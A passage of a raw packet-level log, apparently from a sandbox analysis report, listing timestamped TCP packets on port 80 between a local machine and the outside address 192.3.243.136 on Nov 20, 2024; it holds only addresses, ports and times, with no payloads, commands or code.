Nov 20, 2024 07:56:36.141994953 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142009974 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142045975 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142146111 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142157078 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142174006 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142184973 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142194033 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142199039 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142210960 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142216921 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142240047 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142498970 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142554045 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142570019 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142580986 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142597914 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142602921 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142621994 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142637014 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142647982 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142652035 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142662048 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142668009 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142674923 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.142682076 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.142699957 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143244028 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143296003 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143306971 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143310070 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143331051 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143346071 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143414974 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143433094 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143445969 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143459082 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143465042 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143472910 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143480062 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143485069 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143496990 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143502951 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143515110 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.143515110 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143531084 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143548965 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.143582106 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144207954 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144283056 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144346952 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144359112 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144375086 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144387960 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144392014 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144401073 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144414902 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144428015 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144428968 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144442081 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144454956 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.144458055 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144476891 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144491911 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.144567013 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149511099 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149610996 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149622917 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149631023 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149642944 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149653912 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149662018 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149669886 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149677992 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149681091 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149696112 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149704933 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149707079 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149722099 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149723053 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149738073 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149755955 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149869919 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149879932 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149893999 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.149914026 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.149928093 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.150008917 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.168596029 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168668032 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168678999 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168694973 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168709993 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168723106 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168737888 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168749094 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168760061 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168775082 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.168809891 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.168843985 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:39.443012953 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:44.846553087 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:44.851589918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:44.851653099 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:44.852971077 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:44.857852936 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447622061 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447639942 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447664976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447680950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447695971 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447706938 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447724104 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447734118 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447747946 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447758913 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.447829962 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.447829962 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.450153112 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.452725887 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.452781916 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.452796936 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.452831984 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.533780098 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533795118 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533828974 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.533839941 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.533879995 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533895016 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533907890 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533919096 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.533934116 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.533946037 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.533957958 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.534516096 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.534531116 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.534557104 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.534559011 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.534574032 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.534576893 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.534589052 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.534609079 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.534609079 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.534619093 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535398960 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535418987 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535429001 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535440922 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535455942 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535468102 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535764933 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535775900 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535789967 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535809994 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535830975 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535850048 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535861015 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.535887003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.535900116 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.536647081 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.536660910 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.536674976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.536691904 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.536706924 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.538676977 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.538717031 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.538724899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.538763046 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620357037 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620371103 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620388985 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620444059 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620472908 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620484114 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620496035 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620511055 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620521069 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620528936 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620536089 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620538950 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620546103 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620559931 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620562077 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620570898 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620572090 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620585918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620598078 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620600939 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620620966 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620631933 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620732069 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620767117 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620831966 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620841980 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620856047 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620867968 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620868921 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620879889 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620884895 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620893955 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620901108 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620912075 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620913982 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620924950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620925903 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620939016 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620944023 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620949984 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620953083 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620965004 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620970964 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620978117 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.620978117 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.620997906 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.621006966 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.621032953 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.621917963 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621929884 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621946096 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621954918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621969938 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.621969938 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621980906 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.621980906 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621997118 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.621999025 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622006893 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622009993 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622021914 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622026920 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622031927 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622040033 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622047901 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622052908 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622057915 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622065067 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622075081 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622082949 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622102022 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622145891 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622724056 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622735023 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622746944 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.622761965 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.622778893 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.637351036 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.637365103 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.637423038 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.637434006 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.706768990 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.706804991 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.706824064 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.706861973 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.706882954 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.706929922 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707035065 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707119942 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707158089 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707333088 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707428932 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707470894 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707482100 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707520962 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707586050 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707597017 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707612038 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707627058 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707642078 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707648039 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707667112 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707684040 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707691908 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707740068 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707773924 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.707868099 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.707915068 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710491896 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710545063 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710599899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710612059 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710628033 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710637093 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710644960 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710654020 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710655928 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710669041 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710669041 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710685015 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710688114 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710736036 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710752964 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710776091 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710798025 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710808992 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710824013 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710834980 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710836887 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710846901 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710850000 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710859060 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710860968 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710887909 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710899115 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710908890 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710911989 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710923910 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710930109 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710943937 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710948944 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710957050 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.710968971 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710984945 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710994959 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.710999966 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711011887 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711013079 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711024046 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711028099 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711036921 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711041927 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711050034 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711054087 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711067915 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711078882 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711093903 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711107969 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711110115 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711122036 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711123943 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711133003 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711136103 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711138964 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711153030 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711157084 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711167097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711169958 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711179018 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711184025 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711193085 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711194992 CET	49167	80	192.168.2.22	192.3.243.136
